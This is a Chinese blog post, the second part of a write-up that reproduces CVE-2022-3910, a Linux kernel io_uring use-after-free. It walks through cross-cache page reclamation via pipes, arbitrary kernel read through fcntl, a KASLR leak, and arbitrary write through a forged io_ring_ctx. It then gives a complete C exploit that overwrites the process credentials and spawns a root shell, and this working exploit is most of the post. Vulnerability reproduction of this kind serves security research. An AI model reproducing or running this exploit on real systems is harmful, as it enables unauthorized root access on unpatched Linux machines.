CVE-2022-3910复现(二)

T1d 2024-7-17 608 7/17

复现环境及exp源码:CVE-2022-3910

漏洞

参看CVE-2022-3910复现(一)

利用方法

将file结构体的uaf转换为任意地址读写去修改cred结构体实现权限提升。

由于在KCTF中较为严格的限制,前面提到的dirtycred方法可能难以发挥作用,因此我们参考这位博主的做法:

Escaping the Google kCTF Container with a Data-Only Exploit

https://h0mbre.github.io/kCTF_Data_Only_Exploit/#

他采用了cross-cache和pipe结合的方法来实现对一个uaf的file结构体进行任意读写,首先我们来了解一下这种方法的具体流程。

cross-cache的目的其实就是绕过内核堆的隔离机制,将uaf的堆块所在的内存页(page)释放并通过其他方式申请访问该内存页。这里简单介绍一下具体流程:

1.先查看基本信息

// cat /sys/kernel/slab/filp/cpu_partial
#define CPU_PARTIAL 52
// cat /sys/kernel/slab/filp/objs_per_slab
#define OBJS_PER_SLAB 16

2.申请(cpu_partial + 1) * objs_per_slab个object

填满前cpu_partial + 1slab

3.申请objs_per_slab - 1个object

保证第cpu_partial + 2个slab填满并且第cpu_partial + 3个slab不满

4.申请一个漏洞object,后续用来UAF

5.申请objs_per_slab + 1个object

保证第cpu_partial + 4个slab填满并且存在第cpu_partial + 5个slab

6.触发漏洞object的UAF

7.将漏洞object前后各objs_per_slab个object释放

让第cpu_partial + 3个slab进入全空状态,触发put_cpu_partial()

8.将前cpu_partial + 1个slab中各释放一个object

让前cpu_partial + 1个slab从全满状态进入半满状态,这将对每个page触发一次put_cpu_partial()。由于cpu_partial + 1 > cpu_partial,因此这必将导致最后几次在进入put_cpu_partial()时发现cpu partial list满了,从而进入unfreeze_partials()逻辑。然后发现第cpu_partial + 3个slab已经进入了全空状态,从而调用discard_slab()将这个page进行释放。

此时我们已经掌握了一个包含在一个free掉的内存页中的file结构体,这里我们选择利用pipe,他会在第一次向管道中写入时直接分配一个内存页来进行读写缓存的,调用链如下:

pipe_write -> copy_page_from_iter -> copy_page_from_iter_iovec -> kmap

此时他就会分配到我们设计好的uaf-page上,我们通过对管道进行读写就能实现对结构体的随意伪造了

任意地址读

接着我们就要考虑如何实现任意地址读写了。

在执行fcntl这个系统调用的时候会有这样一个函数:

static long fcntl_rw_hint(struct file *file, unsigned int cmd,
			  unsigned long arg)
{
	struct inode *inode = file_inode(file);
	u64 __user *argp = (u64 __user *)arg;
	enum rw_hint hint;
	u64 h;

	switch (cmd) {
	case F_GET_RW_HINT:
		h = inode->i_write_hint;
		if (copy_to_user(argp, &h, sizeof(*argp)))
			return -EFAULT;
		return 0;
	case F_SET_RW_HINT:
		if (copy_from_user(&h, argp, sizeof(h)))
			return -EFAULT;
		hint = (enum rw_hint) h;
		if (!rw_hint_valid(hint))
			return -EINVAL;

		inode_lock(inode);
		inode->i_write_hint = hint;
		inode_unlock(inode);
		return 0;
	default:
		return -EINVAL;
	}
}

直接看汇编代码会更加明显:

pwndbg> disass get_cpu_entry_area
Dump of assembler code for function get_cpu_entry_area:
   0xffffffff81e942f0 <+0>:	movabs rdx,0xfffffe0000001000
   0xffffffff81e942fa <+10>:	movsxd rax,edi
   0xffffffff81e942fd <+13>:	imul   rax,rax,0x3b000
   0xffffffff81e94304 <+20>:	add    rax,rdx
   0xffffffff81e94307 <+23>:	xor    edx,edx
   0xffffffff81e94309 <+25>:	xor    edi,edi
   0xffffffff81e9430b <+27>:	ret    
   0xffffffff81e9430c <+28>:	int3   
   0xffffffff81e9430d <+29>:	int3   
   0xffffffff81e9430e <+30>:	int3   
   0xffffffff81e9430f <+31>:	int3   
End of assembler dump.

因此其实他有一个固定地址就在0xfffffe0000001000,而且恰好我们发现在这个结构体地址范围内正好有一个可以利用的地址指针:

pwndbg> 
48:0240│  0xfffffe0000002f40 ◂— 0x0
49:0248│  0xfffffe0000002f48 —▸ 0xffffffff82001522 (error_entry+146) ◂— ret 
4a:0250│  0xfffffe0000002f50 —▸ 0xffffffff82000b59 (asm_exc_page_fault+9) ◂— mov rsp, rax
4b:0258│  0xfffffe0000002f58 ◂— 0x1
4c:0260│  0xfffffe0000002f60 —▸ 0x4c87d0 —▸ 0x401710 ◂— endbr64 

因此我们可以直接读取这里的error_entry地址通过偏移来计算kernel的基地址,这样就能绕过kaslr保护了

任意地址写

任意地址写我本来想采用和任意地址读一样的方式,只需要修改cmd为F_SET_RW_HINT即可,但是后来我发现在写入之前有两个函数会对伪造的inode指针进行处理:

static bool rw_hint_valid(enum rw_hint hint)
{
	switch (hint) {
	case RWH_WRITE_LIFE_NOT_SET:
	case RWH_WRITE_LIFE_NONE:
	case RWH_WRITE_LIFE_SHORT:
	case RWH_WRITE_LIFE_MEDIUM:
	case RWH_WRITE_LIFE_LONG:
	case RWH_WRITE_LIFE_EXTREME:
		return true;
	default:
		return false;
	}
}
static inline void inode_lock(struct inode *inode)
{
	down_write(&inode->i_rwsem);
}

第一个限制了写入的值必须是0~5中的一个值,第二个则需要满足伪造的结构体在固定偏移处有一个可写的指针,显然是我们无法满足的,因此回来看作者找到的任意写的方法:

static int io_msg_ring(struct io_kiocb *req, unsigned int issue_flags)
{
	struct io_ring_ctx *target_ctx;
	struct io_msg *msg = &req->msg;
	bool filled;
	int ret;

	ret = -EBADFD;
	if (req->file->f_op != &io_uring_fops)
		goto done;

	ret = -EOVERFLOW;
	target_ctx = req->file->private_data;

	spin_lock(&target_ctx->completion_lock);
	filled = io_fill_cqe_aux(target_ctx, msg->user_data, msg->len, 0);
	io_commit_cqring(target_ctx);
	spin_unlock(&target_ctx->completion_lock);

	if (filled) {
		io_cqring_ev_posted(target_ctx);
		ret = 0;
	}

done:
	if (ret < 0)
		req_set_fail(req);
	__io_req_complete(req, issue_flags, ret, 0);
	/* put file to avoid an attempt to IOPOLL the req */
	io_put_file(req->file);
	req->file = NULL;
	return 0;
}

没错,就是那个漏洞函数,这个函数会将file结构体中的private_data这个指针解析成io_ring_ctx结构体指针,并在后续马上进行写的操作。

首先是函数io_fill_cqe_aux

static noinline bool io_fill_cqe_aux(struct io_ring_ctx *ctx, u64 user_data,
				     s32 res, u32 cflags)
{
	struct io_uring_cqe *cqe;

	ctx->cq_extra++;
	trace_io_uring_complete(ctx, NULL, user_data, res, cflags, 0, 0);

	/*
	 * If we can't get a cq entry, userspace overflowed the
	 * submission (by quite a lot). Increment the overflow count in
	 * the ring.
	 */
	cqe = io_get_cqe(ctx);
	if (likely(cqe)) {
		WRITE_ONCE(cqe->user_data, user_data);
		WRITE_ONCE(cqe->res, res);
		WRITE_ONCE(cqe->flags, cflags);

		if (ctx->flags & IORING_SETUP_CQE32) {
			WRITE_ONCE(cqe->big_cqe[0], 0);
			WRITE_ONCE(cqe->big_cqe[1], 0);
		}
		return true;
	}
	return io_cqring_event_overflow(ctx, user_data, res, cflags, 0, 0);
}

它会对结构体的一些部分进行检测,接着是函数io_commit_cqring

static inline void io_commit_cqring(struct io_ring_ctx *ctx)
{
	/* order cqe stores with ring update */
	smp_store_release(&ctx->rings->cq.tail, ctx->cached_cq_tail);
}

这个函数其实就是一个memcpy,因此只要我们能伪造一个完整的io_ring_ctx结构并将cached_cq_tail改成我们希望写入的值将rings改成我们希望修改的地址减去cq.tail的偏移就能实现任意写了。

但是实际利用时发现内核panic了:

[    7.481177]  <TASK>
[    7.481177]  __wake_up_common+0x7d/0x150
[    7.481177]  __wake_up_common_lock+0x7c/0xd0
[    7.481177]  __wake_up+0x13/0x30
[    7.481177]  io_issue_sqe+0x21c9/0x2ad0

我们调试跟踪发现是在这个调用链下触发的:

io_issue_sqe -> io_msg_ring -> io_cqring_ev_posted -> io_cqring_wake -> wake_up_all -> __wake_up

观察函数io_cqring_wake

static inline void io_cqring_wake(struct io_ring_ctx *ctx)
{
	/*
	 * wake_up_all() may seem excessive, but io_wake_function() and
	 * io_should_wake() handle the termination of the loop and only
	 * wake as many waiters as we need to.
	 */
	if (wq_has_sleeper(&ctx->cq_wait))
		wake_up_all(&ctx->cq_wait);
}

如果if判断结果为否就不会触发wake_up_all函数了,因此我们查看wq_has_sleeper源码:

static inline bool wq_has_sleeper(struct wait_queue_head *wq_head)
{
	/*
	 * We need to be sure we are in sync with the
	 * add_wait_queue modifications to the wait queue.
	 *
	 * This memory barrier should be paired with one on the
	 * waiting side.
	 */
	smp_mb();
	return waitqueue_active(wq_head);
}

继续跟进:

static inline int waitqueue_active(struct wait_queue_head *wq_head)
{
	return !list_empty(&wq_head->head);
}
static inline int list_empty(const struct list_head *head)
{
	return READ_ONCE(head->next) == head;
}

到这里我们就能看出,如果我们不希望触发这个导致panic的函数,我们就需要构造满足ctx->cq_wait结构指向的就是他本身即可。

如何提权

现在我们已经掌握了在内核中任意读写的能力,我们应该如果提升权限呢?这里原文作者选择了将自身进程的task_struct结构体的real_cred, cred, and nsproxy替换为了init中的地址来实现,每个线程在内核中都对应一个线程栈、一个线程结构块thread_info去调度,结构体同时也包含了线程的一系列信息:

struct task_struct {
	...
	struct list_head           tasks;                /*  2256    16 */
	...
	/* --- cacheline 45 boundary (2880 bytes) was 48 bytes ago --- */
	const struct cred  *       ptracer_cred;         /*  2928     8 */
	const struct cred  *       real_cred;            /*  2936     8 */
	/* --- cacheline 46 boundary (2944 bytes) --- */
	const struct cred  *       cred;                 /*  2944     8 */
	struct key *               cached_requested_key; /*  2952     8 */
	char                       comm[16];             /*  2960    16 */
	struct nameidata *         nameidata;            /*  2976     8 */
	struct sysv_sem            sysvsem;              /*  2984     8 */
	struct sysv_shm            sysvshm;              /*  2992    16 */
	/* --- cacheline 47 boundary (3008 bytes) --- */
	long unsigned int          last_switch_count;    /*  3008     8 */
	long unsigned int          last_switch_time;     /*  3016     8 */
	struct fs_struct *         fs;                   /*  3024     8 */
	struct files_struct *      files;                /*  3032     8 */
	struct io_uring_task *     io_uring;             /*  3040     8 */
	struct nsproxy *           nsproxy;              /*  3048     8 */
	struct signal_struct *     signal;               /*  3056     8 */
	struct sighand_struct *    sighand;              /*  3064     8 */
	...
	/* size: 9792, cachelines: 153, members: 260 */
	/* sum members: 9642, holes: 20, sum holes: 134 */
	/* sum bitfield members: 81 bits, bit holes: 2, sum bit holes: 47 bits */
	/* paddings: 6, sum paddings: 49 */
	/* forced alignments: 2, forced holes: 2, sum forced holes: 64 */
};

其中comm记录了该task_struct的“名字”,这个结构可通过prctl函数中的PR_SET_NAME功能,设置为一个固定的字符串作为标记,而list_head结构体tasks存放了指向下一个task_struct结构体的list_head结构的指针,因此我们只需要递归读取就能找到被我们标记的当前进程的控制块,同时在这里还有一个files_struct结构体用来存放当前进程打开的文件,可以通过读取这个结构找到uaf的文件结构体地址,相当于我们已经完全掌握了pipe分配的内存页的地址,这样我们可以利用在这个页面上任意写的功能在上面完整的伪造一个io_uring_ctx结构体,至此我们已经完全理清了如何将一个文件的uaf转换为任意读写并覆写权限结构体实现提权的全部流程。

完整exp

由于本地复现环境相对简单,我们只需要覆盖cred结构体前28字节为0就能实现权限提升:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <liburing.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <syscall.h>
#include <linux/kcmp.h>
#include <sys/resource.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <pthread.h>

const char *colorGreen = "\033[1;32m";
const char *colorRed = "\033[1;31m";
const char *colorReset = "\033[0m";
char debugchar[0x500];

void myDbgputs(char *message)
{
    printf("[%s+%s] %s\n", colorGreen, colorReset, message);
}

void myErrputs(char *message, int ifexit)
{
    printf("[%sx%s] %s\n", colorRed, colorReset, message);
    if (ifexit)
        exit(-1);
}

void bind_cpu(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    myDbgputs("Bind to cpu 0");
}

void increase_fds(void)
{
    struct rlimit old_lim, lim;

    if (getrlimit(RLIMIT_NOFILE, &old_lim) != 0)
    {
        myErrputs("`getrlimit()` failed", 1);
    }

    lim.rlim_cur = old_lim.rlim_max;
    lim.rlim_max = old_lim.rlim_max;

    if (setrlimit(RLIMIT_NOFILE, &lim) != 0)
    {
        myErrputs("`setrlimit()` failed", 1);
    }
    sprintf(debugchar, "Increased fd limit from %d to %d", old_lim.rlim_cur, lim.rlim_cur);
    myDbgputs(debugchar);

    return;
}

struct fd_pair
{
    int fd[2];
};
struct fd_pair tpipe = {0};
#define PIPE_WRITE 1
#define PIPE_READ 0

void create_pipe()
{
    if (pipe(tpipe.fd) == -1)
    {
        myErrputs("`pipe() failed`", 1);
    }
    myDbgputs("Creat the pipe");
}

void release_pipe(void)
{
    close(tpipe.fd[PIPE_WRITE]);
    close(tpipe.fd[PIPE_READ]);
}

#define MYNAME "tr17ish"
void changename()
{
    if (prctl(PR_SET_NAME, MYNAME, NULL, NULL, NULL) != 0)
    {
        myErrputs("`prctl()` failed", 1);
    }
    myDbgputs("Reset the name to `tr17fish`");
}
// cat /sys/kernel/slab/filp/cpu_partial
#define CPU_PARTIAL 52
// cat /sys/kernel/slab/filp/objs_per_slab
#define OBJS_PER_SLAB 16
#define IORING_OP_MSG_RING 40
int cc1_fds[4096];
int cc_1_num;
int cc2_fds[4096];
int cc_2_num;
int cc3_fds[4096];
int cc_3_num;
int uaf_fd;

struct io_uring ring;
struct io_uring_sqe *sqe;
void do_uaf()
{
    io_uring_queue_init(64, &ring, 0);
    io_uring_register_files(&ring, &uaf_fd, 1);

    for (int i = 0; i < 2; i++)
    {
        sqe = io_uring_get_sqe(&ring);
        sqe->flags = IOSQE_FIXED_FILE;
        sqe->opcode = IORING_OP_MSG_RING;
        sqe->fd = 0;
        io_uring_submit(&ring);
    }
    io_uring_submit(&ring);
    sleep(1);
    myDbgputs("Finish UAF");
}

void cross_cache()
{
    // step1;
    sprintf(debugchar, "Cross-cache step1: open ((%d + 1) * %d) files", CPU_PARTIAL, OBJS_PER_SLAB);
    myDbgputs(debugchar);
    cc_1_num = (CPU_PARTIAL + 1) * OBJS_PER_SLAB;
    for (int i = 0; i < cc_1_num; i++)
    {
        cc1_fds[i] = open("/etc/passwd", O_RDONLY);
    }
    sleep(0.1);
    // step2
    sprintf(debugchar, "Cross-cache step2: (%d - 1) files", OBJS_PER_SLAB);
    myDbgputs(debugchar);
    cc_2_num = OBJS_PER_SLAB - 1;
    for (int i = 0; i < cc_2_num; i++)
    {
        cc2_fds[i] = open("/etc/passwd", O_RDONLY);
    }
    sleep(0.1);
    // step3
    myDbgputs("Cross-cache step3: open  uaf-files");
    uaf_fd = open("/etc/passwd", O_RDONLY);
    // //step5
    // myDbgputs("Cross-cache step5: free uaf-files");
    // do_uaf();
    // step4
    sprintf(debugchar, "Cross-cache step4: open (%d + 1) files", OBJS_PER_SLAB);
    myDbgputs(debugchar);
    cc_3_num = OBJS_PER_SLAB + 1;
    for (int i = 0; i < cc_3_num; i++)
    {
        cc3_fds[i] = open("/etc/passwd", O_RDONLY);
    }
    sleep(0.1);
    // step5
    myDbgputs("Cross-cache step5: free uaf-files");
    do_uaf();
    // step6
    myDbgputs("Cross-cache step6: close step2 and step3 files");
    for (int i = 0; i < cc_2_num; i++)
    {
        close(cc2_fds[i]);
    }

    for (int i = 0; i < cc_3_num; i++)
    {
        close(cc3_fds[i]);
    }
    sleep(0.1);
    // step7
    myDbgputs("Cross-cache step7: close the first file in step1 pages");
    for (int i = 0; i < cc_1_num; i++)
    {
        if (i % OBJS_PER_SLAB == 0)
        {
            close(cc1_fds[i]);
        }
    }
    sleep(1);
}

void cc_reset()
{
    myDbgputs("Resetting cross-cache state...");
    for (size_t i = 0; i < 0x1000; i++)
    {
        close(cc1_fds[i]);
        close(cc2_fds[i]);
        close(cc3_fds[i]);
    }
    cc_1_num = 0;
    cc_2_num = 0;
    cc_3_num = 0;
    close(uaf_fd);
    uaf_fd = -1;
    release_pipe();
    create_pipe();
    sleep(1);
}

void setup_env(void)
{
    // bind to cpu 0
    bind_cpu(0);
    // Increase FD limit
    increase_fds();
    // Reset the name
    changename();
    // Create pipe
    create_pipe();
}

#define I_WRITE_HINT_OFFSET 0X8f
uint64_t read_inode(uint64_t addr)
{
    char buf[0x1000];
    uint64_t target = addr - I_WRITE_HINT_OFFSET;
    uint64_t leak_addr = 0;
    for (int i = 0; i < 8; i++)
    {
        read(tpipe.fd[PIPE_READ], buf, 0x1000);
        memset(buf, 0, 0x1000);
        for (int j = 0; j < 16; j++)
        {
            *(uint64_t *)&buf[0x20 + j * 0x100] = target + i;
        }
        write(tpipe.fd[PIPE_WRITE], buf, 0x1000);
        uint64_t arg = 0;
        if (fcntl(uaf_fd, F_GET_RW_HINT, &arg) == -1)
        {
            myErrputs("`fcntl()` failed", 1);
        };
        leak_addr |= (arg << (i * 8));
    }
    return leak_addr;
}

#define ENTER_ERROR 0xfffffe0000002f48
#define BASE_OFFSET 0x1001490
#define INIT_OFFSET 0x1a1b580
#define TASK_NEXT_OFFSET 0x8b8
#define COMM_OFFSET 0xb98
#define CRED_OFFSET 0xb88
#define FILES_OFFSET 0Xbe0
#define FDT_OFFSET 0x20
#define FD_OFFSET 0x8
#define PRIVATE_DATA_OFFSET 0xc8
#define FD_OFFSET 0x8
uint64_t init_task_addr, my_task_addr, cred_addr;
uint64_t my_files_list, uaf_file_addr, pipe_addr;
uint64_t pipe_offset, fake_private_data_addr;

void find_myprocess()
{
    uint64_t next_cred = read_inode(init_task_addr + TASK_NEXT_OFFSET) - TASK_NEXT_OFFSET;
    uint64_t comm_now = read_inode(init_task_addr + COMM_OFFSET);
    uint64_t now_cred = init_task_addr;
    while (next_cred)
    {
        if (!strncmp(MYNAME, (char *)&comm_now, 7))
        {
            my_task_addr = now_cred;
            cred_addr = read_inode(my_task_addr + CRED_OFFSET);
            break;
        }
        else
        {
            now_cred = next_cred;
            next_cred = read_inode(now_cred + TASK_NEXT_OFFSET) - TASK_NEXT_OFFSET;
            comm_now = read_inode(now_cred + COMM_OFFSET);
        }
    }
}

void find_pipe_addr()
{
    uint64_t first_file_addr = read_inode(my_files_list);
    uaf_file_addr = read_inode(first_file_addr + uaf_fd * 8);
    pipe_offset = uaf_file_addr & 0xfff;
    pipe_addr = (uaf_file_addr >> 12) << 12;
    if(pipe_offset < 0x700)
    {
        fake_private_data_addr = pipe_addr + 0x800;
    }else{
        fake_private_data_addr = pipe_addr;
    }
}

unsigned char ring_copy_mem[256] = { 0 };
unsigned char private_copy_mem[0x4c0] = { 0 };
void copy_from_ring()
{
    uint64_t files_ptr = read_inode(my_files_list);
    
    // Adjust the files_ptr to point to our ring fd in the array
    files_ptr += (8 * ring.ring_fd);
    // Get the address of our UAF file struct
    uint64_t curr_file = read_inode(files_ptr);
    uint64_t curr_private = read_inode(curr_file + PRIVATE_DATA_OFFSET);

    // Copy all the data into the buffer
    for (size_t i = 0; i < 32; i++)
    {
        uint64_t *val_ptr = (uint64_t *)&ring_copy_mem[i * 8];
        *val_ptr = read_inode(curr_file + (i * 8));
    }
    for (size_t i = 0; i < 152; i++)
    {
        uint64_t *val_ptr = (uint64_t *)&private_copy_mem[i * 8];
        *val_ptr = read_inode(curr_private + (i * 8));
    }
    sprintf(debugchar, "copy 0x100 byte data from 0x%lx", curr_file);
    myDbgputs(debugchar);
}

void set_fake_private_data(uint64_t addr, uint64_t value)
{
    char buf[0x1000];
    read(tpipe.fd[PIPE_READ], buf, 0x1000);
    memcpy(&buf[pipe_offset], ring_copy_mem, 0x100);
    
    uint64_t *private_data = (uint64_t *)&buf[pipe_offset + PRIVATE_DATA_OFFSET];
    *private_data = fake_private_data_addr;
    memcpy(&buf[fake_private_data_addr & 0xfff], private_copy_mem, 0x4c0);

    // // Set ctx->rings so that ctx->rings->cq.tail is written to. That is at 
    // // offset 0xc0 from cq base address
    size_t rings = (fake_private_data_addr + 0x10) & 0xfff;
    uint64_t *rings_ptr = (uint64_t *)&buf[rings];
    *rings_ptr = addr - 0xc0;

    // Set ctx->cached_cq_tail which is our what
    size_t cq_tail = (fake_private_data_addr + 0x250) & 0xfff;
    uint32_t *cq_tail_ptr = (uint32_t *)&buf[cq_tail];
    *cq_tail_ptr = (value - 1);

    // Set ctx->cq_wait the list head to itself (so that it's "empty")
    size_t real_cq_wait = fake_private_data_addr + 0x268;
    size_t cq_wait = (real_cq_wait & 0xFFF);
    uint64_t *cq_wait_ptr = (uint64_t *)&buf[cq_wait];
    *cq_wait_ptr = real_cq_wait;

    write(tpipe.fd[PIPE_WRITE], buf, 0x1000);
    struct io_uring_sqe *sqe = NULL;
    sqe = io_uring_get_sqe(&ring);
    sqe->opcode = IORING_OP_MSG_RING;
    sqe->fd = uaf_fd;
    io_uring_submit(&ring);
}

int main()
{
    myDbgputs("Begin!");
    setup_env();
    unsigned char buf[0x1000];
    memset(buf, 'A', 0x1000);
    while (true)
    {
        myDbgputs("Attempting cross-cache...");
        cross_cache();
        write(tpipe.fd[PIPE_WRITE], buf, 0x1000);
        if (lseek(uaf_fd, 0, SEEK_SET) != -1)
        {
            myErrputs("Cross-cache failed, retrying...", 0);
            cc_reset();
        }
        else
        {
            myDbgputs("Cross-cache succeeded");
            break;
        }
    }
    uint64_t enter_error_addr = read_inode(ENTER_ERROR) - 146;
    sprintf(debugchar, "enter_error_addr @ 0x%llx", enter_error_addr);
    myDbgputs(debugchar);
    uint64_t kernel_base_addr = enter_error_addr - BASE_OFFSET;
    sprintf(debugchar, "kernel_base_addr @ 0x%llx", kernel_base_addr);
    myDbgputs(debugchar);
    init_task_addr = kernel_base_addr + INIT_OFFSET;
    sprintf(debugchar, "init_task_addr @ 0x%llx", init_task_addr);
    myDbgputs(debugchar);
    find_myprocess();
    sprintf(debugchar, "'%s' task @ 0x%lx", MYNAME, my_task_addr);
    myDbgputs(debugchar);
    sprintf(debugchar, "cred_addr @ 0x%llx", cred_addr);
    myDbgputs(debugchar);
    my_files_list = read_inode(
        read_inode(my_task_addr + FILES_OFFSET) + FDT_OFFSET) + FD_OFFSET;
    sprintf(debugchar, "my_files_list @ 0x%lx", my_task_addr);
    myDbgputs(debugchar);
    find_pipe_addr();
    sprintf(debugchar, "uaf_file_addr @ 0x%lx", uaf_file_addr);
    myDbgputs(debugchar);
    sprintf(debugchar, "pipe_addr @ 0x%lx", pipe_addr);
    myDbgputs(debugchar);
    copy_from_ring();
    for(int i = 1; i < 11; i++)
    {
        set_fake_private_data((cred_addr + 4 * i), 0);
    }
    if(getuid() == 0)
    {
        sprintf(debugchar, "Uid: %d, hacked by T1d!", getuid());
        myDbgputs(debugchar);
        system("/bin/sh");
    }else{
        sprintf(debugchar, "Uid : %d , you are not root!\n", getuid());
        myErrputs(debugchar, 1);
    }
}

效果:

CVE-2022-3910复现(二)

玄学(?)

在编写exp时,笔者发现如果将system("/bin/sh")换成execve("/bin/sh", 0, 0)会出现uid为0但报错: applet not found


后续 >

笔者发现换成下面的代码就行正常执行了:

 char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
 char *envp[] = {NULL};
 execve("/bin/sh", argv, envp);

更玄学了...

- THE END -
Tag:

T1d

9月23日14:10

最后修改:2024年9月23日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论

您必须 后可评论